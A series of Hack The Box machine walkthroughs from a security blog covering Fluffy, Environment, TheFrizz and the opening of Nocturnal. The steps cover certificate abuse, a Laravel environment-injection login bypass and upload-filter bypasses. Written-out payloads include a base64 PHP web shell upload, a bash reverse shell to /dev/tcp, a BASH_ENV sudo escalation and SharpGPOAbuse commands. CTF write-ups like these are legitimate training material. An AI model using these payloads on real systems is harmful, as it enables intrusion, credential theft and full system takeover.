The domain hierarchy shows that authenticated users@fluffy.htb are members of everyone@fluffy.htb, with domain users inheriting from both authenticated users and users. Authenticated users also have pre-Windows 2000 and Certificate Service DCOM access. The ca_svc account belongs to domain users, service accounts, and cert publishers. While cert publishers is part of the Denied RODC Password Replication Group (blocking password replication to RODCs), it retains certificate publishing rights.

Performing a Certipy Shadow Attack on Fluffy Machine

It is also possible to add the user p.agila to the SERVICE ACCOUNTS group.

This process retrieves the NT hash, and you can repeat it for the other two users. The name winrm_svc indicates that you can access it directly through WinRM and authenticate using the hash.

The command uses Certipy to authenticate as the user winrm_svc with a captured NT hash against the domain controller DC01.fluffy.htb. By specifying both the domain controller IP and the target IP, it attempts to perform a pass-the-hash attack, enabling access without needing the plaintext password.

This data contains a substantial amount of information that requires careful analysis and processing.

I noticed the presence of the Cert Publishers group.

Retrieving the User Flag on Fluffy Machine

We can access the machine using the winrm_svc account by leveraging its NT hash.

A screenshot of a computer screen AI-generated content may be incorrect.

We can read the user flag by executing the command type user.txt.

Escalate to Root Privileges Access on Fluffy Machine

Privilege Escalation:

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This command leverages Certipy in combination with ntpdate to adjust the system time, targeting the user ca_svc with the specified NT hash against the domain fluffy.htb. The -stdout option directs the output to the console, and the -vulnerable flag identifies potentially exploitable accounts or services. This method facilitates pass-the-hash or Kerberos-related enumeration while accounting for time-based restrictions in the environment.

Privilege Escalation via ESC16 Misconfiguration

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The Certificate Authority (CA) DC01.fluffy.htb is vulnerable to ESC16, a misconfiguration that allows abusing certificate templates for privilege escalation. While the WINRM_SVC account lacks elevated privileges, its CA access provides a path to target higher-privileged accounts, such as the administrator.

Vulnerabilities
ESC16: The disabled Security Extension leaves the system susceptible to abuse.

Remarks
ESC16 may require additional prerequisites. Refer to the official wiki for guidance.

A computer screen with green text AI-generated content may be incorrect.

We executed the Certipy account command to update the ca_svc account on the fluffy.htb domain. Using the credentials of p.agila@fluffy.htb (prometheusx-303) and targeting the domain controller at 10.10.11.69, we modified the account’s userPrincipalName to administrator. This modification allows the account to perform actions with elevated privileges, enabling further privilege escalation within the environment.

A screenshot of a computer program AI-generated content may be incorrect.

Using Certipy’s shadow command, we performed automated Kerberos-based credential extraction for the ca_svc account on fluffy.htb. Authenticated as p.agila@fluffy.htb (prometheusx-303) and targeting 10.10.11.69, Certipy generated a certificate and key credential, temporarily added it to ca_svc’s Key Credentials, and authenticated as ca_svc. It obtained a TGT, saved the cache to ca_svc.ccache, and retrieved the NT hash (ca0f4f9e9eb8a092addf53bb03fc98c8). Certipy then restored ca_svc’s original Key Credentials. Finally, we set KRB5CCNAME=ca_svc.ccache to enable subsequent Kerberos operations with the extracted credentials.

Using Certipy, we issued a certificate request with the req command, targeting the domain controller DC01.FLUFFY.HTB and the Certificate Authority fluffy-DC01-CA, while specifying the User template. Although we did not explicitly provide the DC host, Kerberos authentication handled the request over RPC. The Certificate Authority successfully processed the request (Request ID 15) and issued a certificate for the administrator user principal. The certificate did not include an object SID, with a note suggesting the -sid option if needed. We saved the certificate and its private key to administrator.pfx, completing the process.

A black screen with green text AI-generated content may be incorrect.

The command uses Certipy to update the ca_svc account on the domain fluffy.htb. Authenticated as p.agila@fluffy.htb with the password prometheusx-303 and targeting the domain controller at 10.10.11.69, the account’s userPrincipalName is set to ca_svc@fluffy.htb. Certipy confirms that the update was successful, ensuring the ca_svc account reflects the correct user principal name for subsequent operations.

Administrator Authentication Using Certipy

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Using Certipy, the auth command was executed to authenticate as the administrator user on the domain fluffy.htb using the certificate stored in administrator.pfx. The tool identified the certificate’s SAN UPN as administrator and used it to request a Ticket Granting Ticket (TGT) from the domain controller at 10.10.11.69. The TGT was successfully obtained and saved to the credential cache file administrator.ccache. Certipy then retrieved the NT hash for administrator@fluffy.htb, which can be used for subsequent authentication or privilege escalation activities.

Remote Execution & Root Flag Retrieval

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We accessed the target machine via WinRM using either the authenticated credentials or the extracted NT hash, which enabled remote command execution on the system.

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We can read the root flag by executing the command type root.txt.

The post Hack The Box: Fluffy Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.

Hack The Box: Environment Machine Walkthough-Medium Difficulty

βœ‡Threatninja.net
By: darknite
6 September 2025 at 10:58
Reading Time: 13 minutes

Introduction to Environment:

In this write-up, we will explore the β€œEnvironment” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective for the Environment machine:

The goal of this walkthrough is to complete the β€œEnvironment” machine from Hack The Box by achieving the following objectives:

User Flag:

The login page identified a Marketing Management Portal, and testing the Remember parameter with --env=preprod bypassed authentication, exposing user emails, including hish@environment.htb. The application runs PHP 8.2.28 and Laravel 11.30.0, which is vulnerable to argument injection (CVE-2024-52301) and UniSharp Laravel Filemanager code injection, highlighting further exploitation potential. The profile upload feature allowed a PHP file bypass by appending a . to the extension (shell.php.); a crafted payload confirmed code execution via phpinfo(). A PHP reverse shell was uploaded and triggered, connecting back to a listener and allowing retrieval of the user flag with cat user.txt.

Root Flag:

To escalate privileges and obtain the root flag, we first examined the contents of /home/hish, discovering a backup file keyvault.gpg and a .gnupg directory containing GnuPG configuration and key files. By copying .gnupg to /tmp/mygnupg and setting appropriate permissions, we used GPG to decrypt keyvault.gpg, revealing credentials including the Environment.htb password (marineSPm@ster!!). User β€œhish” had sudo privileges to run /usr/bin/systeminfo with preserved environment variables (ENV and BASH_ENV), creating a vector for privilege escalation. A script dark.sh containing bash -p was crafted and made executable; executing sudo BASH_ENV=./dark.sh /usr/bin/systeminfo triggered the script under elevated privileges, spawning a root shell and effectively granting full control of the system, allowing access to the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oN nmap_initial.txt 10.10.10.10

Nmap Output: 

# Nmap 7.94SVN scan initiated Sun May  4 08:43:11 2025 as: nmap -sC -sV -oA initial 10.10.11.67
Nmap scan report for 10.10.11.67
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May  4 08:43:21 2025 -- 1 IP address (1 host up) scanned in 10.97 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access, running OpenSSH 9.2p1 (Debian 12).
  • Port 80 (HTTP): Web server running nginx 1.22.1, redirecting to environment.htb

Web Enumeration on the Environment machine:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt

Gobuster Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/environment]
└──╼ $gobuster dir -u http://environment.htb -w /opt/directory-list-lowercase-2.3-small.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://environment.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login                (Status: 200) [Size: 2391]
/upload               (Status: 405) [Size: 244852]
/storage              (Status: 301) [Size: 169] [--> http://environment.htb/storage/]
/up                   (Status: 200) [Size: 2125]
/logout               (Status: 302) [Size: 358] [--> http://environment.htb/login]
/vendor               (Status: 301) [Size: 169] [--> http://environment.htb/vendor/]
/build                (Status: 301) [Size: 169] [--> http://environment.htb/build/]
/mailing              (Status: 405) [Size: 244854]
Progress: 81643 / 81644 (100.00%)
===============================================================
Finished
===============================================================

Analysis:

  • login (200): Login page, likely entry point for authentication.
  • /upload (405): Upload functionality present but restricted (Method Not Allowed).
  • /storage (301): Redirects to http://environment.htb/storage/.
  • /up (200): Page accessible, may contain system or application status.
  • /logout (302): Redirects back to login page.
  • /vendor (301): Redirects to http://environment.htb/vendor/, likely framework/vendor files.
  • /build (301): Redirects to http://environment.htb/build/, may contain application build assets.
  • /mailing (405): Mailing functionality endpoint, but restricted (Method Not Allowed).

Exploration for the Environment Machine

The website displays a standard interface with no obvious points of exploitation.

The login page identifies the application as a Marketing Management Portal, but no valid credentials are available to test authentication.

Attackers can examine the PHP script at the /upload endpoint to gather potential hints. The application runs on PHP 8.2.28 with Laravel 11.30.0, which may expose version-specific vulnerabilities.

Laravel 11.30.0 Argument Injection Vulnerability (CVE-2024-52301) – Enumeration & PoC

Therefore, let’s research potential exploits for PHP 8.2.28 with Laravel 11.30.0.

Source: Laravel 11.30.0 Exploit: What You Need to Know

On the discovered website, attackers can exploit CVE-2024-52301, a Laravel 11.30.0 argument injection flaw triggered when register_argc_argv is enabled. By sending crafted query strings, they can inject arguments into the PHP environment, potentially gaining unauthorised access or executing arbitrary commands.. This vulnerability poses a high risk, especially in shared hosting, but administrators can mitigate it by disabling register_argc_argv in php.ini and hardening server configurations.

Enumeration and Proof-of-Concept Testing for CVE-2024-52301

We will test the login page with blind credential attempts to see if any weak or default accounts accept access.

This is how the request and response appear when viewed through Burp Suite.

The request packet includes a parameter Remember=false, and the server responds with β€œInvalid Credentialsβ€œ, indicating failed authentication.

Therefore, the next step is to modify the parameter by changing Remember=false to Remember=true and observe the server’s response.

Unfortunately, modifying Remember=false to Remember=true did not bypass authentication, as the login attempt still failed.

The output appears similar to the reaction shown above, confirming that the change in the Remember parameter did not affect authentication.

Removing the Remember parameter from the request still results in the same response, indicating no change in authentication behavior.

This PHP snippet checks the value of the $remember parameter to determine whether the user should stay logged in. If $remember equals 'False', the variable $keep_loggedin is set to False, meaning the session will not persist after login. If $remember equals 'True', then $keep_loggedin is set to True, allowing the application to keep the user logged in across sessions. Essentially, it controls the β€œRemember Me” functionality during authentication.

Modify the remember parameter to use a value other than false or true.

This code first sets the $keep_loggedin flag based on the $remember parameter, enabling the β€œRemember Me” feature if applicable. It then checks whether the application is running in the preprod environment, and if so, it automatically logs in as the user with ID 1 by regenerating the session, setting the session user ID, and redirecting to the management dashboardβ€”essentially a developer shortcut for testing. If not in preprod, the code proceeds to look up the user in the database by their email.

Source: CVE-2024-52301 POC

Bypassing Environment with ?–env=production

When the query string ?--env=production is added to the URL, it injects the argument --env=production into $_SERVER['argv'], which Laravel interprets through its environment detection mechanism. This forces the framework to treat the application as if it is running in a production environment, causing the @production directive in Blade templates to render <p>Production environment</p> as the output.

By adding the parameter --env=preprod to the request packet, it may trigger the application’s pre-production environment logic seen in the code, potentially bypassing normal authentication and granting direct access as the default user (ID 1).

After adding the --env=preprod parameter, the application redirected to the management dashboard, where a list of user accounts was revealed.The dashboard showed multiple email addresses, including cooper@cooper.com, bob@bobbybuilder.net, sandra@bullock.com, p.bowls@gmail.com, bigsandwich@sandwich.com, dave@thediver.com, dreynolds@sunny.com, will@goldandblack.net, and nick.m@chicago.com, which attackers could potentially use for authentication attempts or targeted attacks.

We identified a profile displaying the details Name: Hish and Email: hish@environment.htb. The profile also includes a feature that allows uploading a new picture, which may present an opportunity to test for file upload vulnerabilities.

To test how the application processes file uploads, we uploaded a random .png file through the profile’s picture upload functionality.

However, the upload attempt returned an error message in the browser: β€œUnexpected MimeType: application/x-empty”, indicating that the application rejected the file due to an invalid or unrecognised MIME type.

Renaming the uploaded file with a .php extension prompted the application to respond with β€œInvalid file detected,” confirming that server-side validation actively blocks direct PHP or executable uploads.

UniSharp Laravel Filemanager – Code Injection Vulnerability (CVE-2024-21546) PoC & Exploitation

The vulnerability occurs in the file upload feature, where attackers can circumvent the restrictions by adding a . after a PHP file (for example, filename.php.) while using an allowed MIME type. Even though the application blocks certain extensions like PHP or HTML and MIME types such as text/x-php, text/html, or text/plain, this trick enables malicious files to be uploaded successfully. Snyk rates this issue as Critical with a CVSS v3.1 score of 9.8 and High with a CVSS v4.0 score of 8.9.

Let’s research exploits targeting the UniSharp Laravel Filemanager upload functionality.

Version-Agnostic Testing for UniSharp Laravel File Upload Vulnerabilities

If the UniSharp Laravel Filemanager version is unknown, you can test uploads without relying on the version. First, upload safe files like .jpg or .png to confirm the endpoint works. Then, try potentially executable files like .php, .php., or .php.jpg and watch the server response. HTTP 200 may indicate a bypass. You can also tweak MIME types to test validation. Monitor responses (200, 403, 405) and see if uploaded files can execute codeβ€”this approach highlights risky upload behaviors without knowing the exact version.

Modify the PHP file’s name by adding a β€œ.” after the .php extension (e.g., test.php.). Actively test whether the upload filter allows bypassing and if server-side code runs.

The upload bypass succeeded, and the application accepted the .php. file, indicating the filter can be bypassed. The uploaded payload may execute.

The GIF89a output shows that the uploaded file is being treated as an image rather than executed as PHP. Since GIF89a is the GIF header, the server is likely enforcing MIME type checks or serving uploads as static files. This behaviour prevents the embedded PHP code from running directly. A GIF–PHP polyglot can bypass validation by starting with a valid GIF header while containing PHP code for execution. Extension tricks like .php., .php%00.png, or encoding bypasses may also allow the server to process the file as PHP. If the server serves uploads only as images, an LFI vulnerability could include the uploaded file to execute the PHP payload.

File Upload & Reverse Shell

Since the earlier PHP extension bypass worked, the next logical step was to upload a file phpinfo(); to confirm code execution. Retrieving this file successfully displayed the PHP configuration page, verifying that arbitrary PHP code can indeed run on the server.

The uploaded file ran successfully, and the browser showed phpinfo() output, confirming the server processes the injected PHP code.

Set up a listener on your machine to catch the reverse shell

We successfully uploaded the PHP reverse shell payload, and executing it attempted to connect back to the listener, as demonstrated in the command example above.

The connection did not trigger.

We started a Python HTTP server to host the payload for the target system to retrieve.

User β€œhish” attempted to retrieve a file using curl from the machine but received a β€œFile not found” response.

We consolidated all the bash commands into a new script file to simplify execution.

Let’s attempt to fetch shell.sh from our machine.

Unexpectedly, nothing was detected.

A screen shot of a computer AI-generated content may be incorrect.

Let’s run the bash command shown above

bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.149/9007+0%3E%261%27

Surprisingly, it worked perfectly.

We can read the user flag with the command cat user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Since this user has read access, the contents of the directory at www-data/home/hish can be inspected. Inside the backup directory, we found a file named keyvault.gpg.

GnuPG Key Inspection

We discovered a .gnupg directory.

Within the .gnupg directory of the user hish, several key GnuPG files and directories are present, including openpgp-revocs.d for revoked keys, private-keys-v1.d containing the user’s private keys, pubring.kbx and its backup pubring.kbx~ for storing public keys, random_seed used by GnuPG for cryptographic operations, and trustdb.gpg, which maintains the trust database for verifying key authenticity.

Decrypting the Backup File with GPG

The /tmp directory is empty and contains no files of interest.

User β€œhish” copied the .gnupg directory to /tmp/mygnupg to simplify access and analysis, likely to inspect or manipulate GnuPG-related files, such as private keys or configuration data, in a more convenient temporary location.

The /tmp/mygnupg directory permissions were set to 700, restricting access so that only the owner can read, write, or execute its contents.

After copying, the /tmp/mygnupg directory exists, but it contains no files of interest.

The command gpg --homedir /tmp/mygnupg --list-secret-keys tells GnuPG to use the directory /tmp/mygnupg as its home and lists all secret (private) keys stored there. This allows the user to view available private keys without affecting the default GPG configuration.

Using GnuPG with the home directory set to /tmp/mygnupg, the command decrypts /home/hish/backup/keyvault.gpg and writes the decrypted content to /tmp/message.txt, leveraging the secret keys stored in that directory.

After some time, we successfully retrieved message.txt, which may contain potentially useful information.

The message.txt file contains a list of credentials for different accounts. Specifically, it shows a PayPal password (Ihaves0meMon$yhere123), an Environment.htb password (marineSPm@ster!!), and a Facebook password (summerSunnyB3ACH!!). These credentials may allow access to the corresponding accounts or services.

Accessing User Hish’s Privileges

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The password β€œmarineSPm@ster!!” appears to belong to the Environment.htb account, as the other passwords correspond to PayPal and Facebook.

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We can connect using SSH.

Privilege Escalation with systeminfo

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The sudo -l Output for user β€œhish” on the β€œenvironment” host shows they can run /usr/bin/systeminfo with sudo privileges as any user. The default settings include env_reset, mail_badpass, a secure_path, and preservation of ENV and BASH_ENV variables via env_keep. This preservation of ENV and BASH_ENV creates a potential security vulnerability, as these variables can be manipulated to execute arbitrary commands, allowing β€œhish” to bypass restrictions and escalate privileges when running the allowed command.

User β€œhish” on the β€œenvironment” host runs commands to create a script named dark.sh containing bash -p, which spawns a privileged bash shell. First, echo 'bash -p' > dark.sh write the bash -p command into dark.sh. Then, chmod +x dark.sh grants execute permissions to the script. These steps prepare a malicious script for a potential privilege escalation exploit, likely to be used with a preserved environment variable, like BASH_ENV in a subsequent command, to bypass sudo restrictions and gain elevated privileges.

User β€œhish” on the β€œenvironment” host runs sudo BASH_ENV=./dark.sh /usr/bin/systeminfo to exploit the preserved BASH_ENV environment variable, as revealed by sudo -l. By setting BASH_ENV to point to the previously created dark.sh script (containing bash -p), the command triggers the execution of dark.sh when systeminfo runs with sudo privileges. Since bash -p spawns a privileged bash shell, this allows β€œhish” to gain elevated privileges, bypassing the restricted sudo permissions that only allow running /usr/bin/systeminfo, effectively achieving privilege escalation.

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We can read the user flag with the command cat user.txt.

The post Hack The Box: Environment Machine Walkthough-Medium Difficulty appeared first on Threatninja.net.

Hack The Box: TheFrizz Machine Walkthrough – Medium Difficulity

βœ‡Threatninja.net
By: darknite
23 August 2025 at 10:58
Reading Time: 11 minutes

Introduction to TheFrizz:

In this write-up, we will explore the β€œTheFrizz” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on TheFrizz machine:

The goal of this walkthrough is to complete the β€œTheFrizz” machine from Hack The Box by achieving the following objectives:

User Flag:

We began by exploiting a file upload vulnerability to gain a web shell on the target. From there, we located the config.php file, which contained database credentials. Using these, we accessed the database locally through mysql.exe, extracted a user hash, and successfully cracked it to obtain the password Jenni_Luvs_Magic23. With these credentials, we logged into the web application and discovered a message detailing an upcoming SSH migration, hinting at Kerberos-based authentication. We generated a Kerberos ticket (f.frizzle.ccache), leveraged it to gain SSH access to the system, and ultimately retrieved the user flag by executing type user.txt.

Root Flag:

After escalating privileges using M.SchoolBus and exploiting the SleepGPO via SharpGPOAbuse, we forced the Group Policy to update with gpupdate.exe /force. We then used secretdump to gather credentials and leveraged wmiexec to gain a root-level shell. From there, we accessed and read the root flag using the command type root.txt.

Enumerating the TheFrizz Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.60

Nmap Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/thefrizz]
└──╼ $nmap -sC -sV -oA initial 10.10.11.60 
# Nmap 7.94SVN scan initiated Thu Aug 21 20:57:38 2025 as: nmap -sC -sV -oA initial 10.10.11.60
Nmap scan report for 10.10.11.60
Host is up (0.16s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

Analysis:

  • Port 22 (SSH): OpenSSH for_Windows_9.5 (protocol 2.0) for secure remote access
  • Port 53 (DNS): Simple DNS Plus
  • Port 80 (HTTP): Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12) web server, redirects to http://frizzdc.frizz.htb/home/
  • Port 135 (MSRPC): Microsoft Windows RPC
  • Port 139 (NetBIOS-SSN): Microsoft Windows NetBIOS session service
  • Port 389 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
  • Port 445 (Microsoft-DS): Windows file sharing and Active Directory services
  • Port 464 (kpasswd5): Kerberos password change service
  • Port 593 (NCACN_HTTP): Microsoft Windows RPC over HTTP 1.0
  • Port 3268 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

Web Application Exploration on TheFrizz Machine:

This page offers no useful content; the only option available is a Staff Login link located in the upper right corner.

Clicking on the Staff Login redirects to a login page, but we currently do not have valid credentials to proceed with testing.

While examining the framework, I identified it as Gibbon v25.0.00 and found the following three relevant links through online research.

CVE-2023-34598: Local File Inclusion Vulnerability in Gibbon v25.0.0

Gibbon v25.0.0 is susceptible to a Local File Inclusion (LFI) vulnerability, allowing attackers to include and expose the contents of various files within the installation directory in the server’s response. This flaw, identified as CVE-2023-34598, poses a significant risk by potentially revealing sensitive information stored in the affected files.

The proof-of-concept (PoC) for this can be found on GitHub here

However, this LFI is limited to reading non-PHP files, indicating certain restrictions. As shown in the screenshot, we attempted to read gibbon.sql. It appears to be included by default and contains nothing of interest.

Let’s proceed to test this directly on the website.

The page returns blank, which indicates a positive outcome.

Exploiting Web Vulnerabilities: Gaining a Reverse Shell with Burp Suite

It appears promising when viewed in Burp Suite.

We successfully uploaded dark.php to the website using the payload:

img=image/png;dark,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=dark.php&gibbonPersonID=0000000001

Although any file type could be used, we tested specifically with dark.php.

We encountered an error upon execution.

The error displayed in the browser was similar to the one shown above.

We proceeded to test for command execution using the uploaded web shell by sending a request to dark.php with the parameter cmd=whoami (e.g., GET /path/to/dark.php?cmd=whoami or via curl http://target/dark.php?cmd=whoami). If successful, the response should display the current web user. If no output or an error is returned, we will try URL-encoding the command, using alternatives like id or uname -a, and verifying that cmd is the correct parameter used in the PHP payload.

We attempted to run a basic Windows reverse shell through the uploaded web shell, but it failed to execute and did not establish a connection.

Switching to a different reverse shell command/payload produced no response, but this outcome is still useful to note.

We successfully obtained a reverse shell connection back to our system.v

Burp Suite shows the connection assigned to the user w.webservice.

Two privileges are enabled, and one is disabled.

After gaining the shell, review the Gibbon configuration file and confirm that the current working directory is within the root of the entire site.

Database Credentials Extraction

In config.php, we found database credentials indicating an account connected to the database:

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

To avoid using port forwarding, we searched the machine for mysql.exe to interact with the database locally.

MySQL Database Enumeration on TheFrizz Machine

After some searching, we located mysql.exe on the machine.

Executing the SQL command above produced no output or effect.

Therefore, we modified the command to include SHOW DATABASES; to verify accessible databases.

We executed:

.\mysql.exe -u MrGibbonsDB -pMisterGibbs!Parrot!?1 --database=gibbon -e "SHOW TABLES;"

The output listed several tables, including gibbonperson.

I then focused on the retrieved hash and attempted to crack it for possible credentials.

The extracted hashes, shown above, were used for the cracking attempt.

The cracking attempt failed due to Hashcat’s β€œseparator unmatched” error, indicating an unrecognized hash format.

The hash format likely needs to follow the example shown earlier, ensuring it matches the expected structure for Hashcat to process correctly.

Cracking the hash revealed the password Jenni_Luvs_Magic23.

Staff login enumeration

A screenshot of a computer AI-generated content may be incorrect.

Since the web shell didn’t reveal anything useful, we proceeded to log in to the web application using the cracked credentials and began reviewing its contents.

A screenshot of a computer AI-generated content may be incorrect.

The red option in the upper right corner caught my attention, and after clicking it, the Message Wall section appeared.

A screenshot of a computer AI-generated content may be incorrect.
A screenshot of a computer error AI-generated content may be incorrect.

One of the messages stated: Reminder that TODAY is the migration date for our server access methods. Most workflows using PowerShell will not notice a difference (Enter-PSSession). If you encounter any issues, contact Fiona or Marvin between 8am and 4pm to have the pre-requisite SSH client installed on your Mac or Windows laptop.

Bloodhound enumeration on TheFrizz Machine

To analyse the environment with BloodHound, we used the command mentioned above.

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The user F.frizzle belongs to Remote Management Users, Domain Users, and the Users group.

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The user M.schoolbuss is a member of Desktop Admins and Group Policy Creator Owners.

The error β€œClock skew too great” indicates the password is valid, but the local system clock is out of sync, likely running behind the server’s time.

Even after synchronising the time using ntpdate, the issue persisted, and the connection still failed.

Using the date command to manually adjust the time resulted in the same β€œClock skew too great” error.

Using faketime bypassed the clock skew issue, but the process now appears to be stuck when attempting to establish a session with evil-winrm.

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

Updating the /etc/krb5.conf file also failed to resolve the issue, and the connection remains unsuccessful.

We successfully generated an f.frizzle.ccache Kerberos ticket.

SSH access to the target system was successfully obtained.

We obtained the user flag by executing the command type user.txt.

Escalate to Root Privileges Access

Privileges Access

An alternative faketime command also worked successfully, as demonstrated earlier.

While exploring the machine, we discovered a ChildItem within the Recycle.Bin folder.

We found two .7z archive files in the Recycle.Bin folder for further analysis.

Move the .7z files to the ProgramData directory to simplify access and analysis.

We were able to transfer files using the nc.cat command, as demonstrated earlier.

The file transfer eventually completes, though it may take a long timeβ€”around 2 hours in my case, though the duration may vary for others.

The wapt directory contains numerous files and folders.

I noticed a password that has been encoded using Base64.

As a result, I successfully uncovered a password: !suBcig@MehTed!R.

We can identify the potential user accounts as shown above.

We consolidated all the potential user accounts and credentials into a single file for easier reference.

Many users experienced KDC_ERR_PREAUTH_FAILED errors, but one user (frizz.htb\M.SchoolBus) with password !suBcig@MehTed!Rβ€”returned a KRB_AP_ERR_SKEW error.

As before, we executed the same command, but this time replaced F.Frizzle with M.SchoolBus.

Group Policy Exploitation

We created a new Group Policy Object and linked it with the command:

New-GPO -Name SleepGPO -Comment "Sleep is good" | New-GPLink -Target "DC=FRIZZ,DC=HTB" -LinkEnabled Yes

The command creates a new Group Policy Object (GPO) named SleepGPO with a note saying β€œSleep is good”. A GPO is basically a set of rules or settings that can be applied to computers or users in a network. The command then links this GPO to the main network domain FRIZZ.HTB, making it active and enforcing the rules or settings defined in it.

We uploaded SharpGPOAbuse onto the victim’s machine to prepare for further Group Policy exploitation.

We used SharpGPOAbuse to elevate privileges by modifying the previously created GPO. The command

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "SleepGPO"

adds the user M.SchoolBus as a local administrator on targeted machines by leveraging the SleepGPO. Essentially, this allows M.SchoolBus to gain administrative rights across the network through the Group Policy.

The command gpupdate.exe /force is used to immediately apply updated Group Policy settings, ensuring that changes made by tools like SharpGPOAbuse take effect on target machines without waiting for the default refresh interval (typically 90 minutes). This forces a refresh of both user and computer policies, applying any new or modified Group Policy Objects (GPOs) instantly.

The command secretdump was executed to extract credential information from the target system, enabling further enumeration and exploitation.

We leveraged wmiexec to execute commands remotely and gain a root-level shell on the target system.

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We obtained the root flag by accessing the root shell and executing type root.txt.

The post Hack The Box: TheFrizz Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Hack The Box: Nocturnal Machine Walkthrough – Easy Difficulty

βœ‡Threatninja.net
By: darknite
16 August 2025 at 10:58
Reading Time: 9 minutes

Introduction to Nocturnal:

In this write-up, we will explore the β€œNocturnal” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œNocturnal” machine from Hack The Box by achieving the following objectives:

User Flag:

To grab the user flag on Nocturnal, we started by exploring the file upload functionality after creating an account. Uploading a .odt file and unpacking it revealed a hidden password inside content.xml using xmllint. Initial attempts to SSH or use pwncat-cs failed, but the password worked on the web dashboard, letting us upload files as Amanda. Leveraging the backup feature, we injected a reverse shell, landing a www-data shell. From there, we navigated the nocturnal_database directory, pulled password hashes, cracked Tobias’s password (slowmotionapocalypse), and captured the user flag

Root Flag:

For the root flag, basic enumeration showed no exploitable binaries, but port 8080 was listening. After port forwarding, we accessed the ISPConfig panel. Tobias’s credentials didn’t work, but the admin password gave us full access. Identifying the ISPConfig version from the source and Help section, we grabbed a public exploit, executed it, and gained root shell access. Finally, the root flag was obtained

Enumerating the Nocturnal Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.64

Nmap Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/nocturnal]
└──╼ $nmap -sC -sV -oA initial 10.10.11.64
# Nmap 7.94SVN scan initiated Sat Aug  9 04:55:52 2025 as: nmap -sC -sV -oA initial 10.10.11.64
Nmap scan report for 10.10.11.64
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
